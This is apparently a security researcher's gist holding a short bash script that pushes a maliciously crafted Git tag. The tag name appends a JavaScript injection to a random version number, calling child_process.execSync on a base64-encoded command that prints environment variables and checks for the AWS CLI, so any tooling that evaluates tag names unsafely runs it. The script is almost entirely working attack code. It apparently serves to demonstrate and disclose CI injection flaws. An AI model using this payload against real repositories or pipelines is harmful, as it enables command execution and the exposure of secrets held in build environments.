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fproulx-boostsecurity/malicious-js-in-git-tag.sh

Last active March 15, 2024 19:22
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Maliciously crafted Git tag (Javascript injection)
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malicious-js-in-git-tag.sh
#!/bin/bash
#set -x
git commit --allow-empty -m 'New release'
RND_SEMVER="v1.2.$((RANDOM % 1000))"
S2='env; aws --version'
ENC_S2=$(echo -n "$S2" | base64)
S1="'+require('child_process').execSync(atob('$ENC_S2')).toString()+'"
git tag "${RND_SEMVER}${S1}"
FINAL_TAG=$(git describe --tags --exact-match)
git push origin "$FINAL_TAG"
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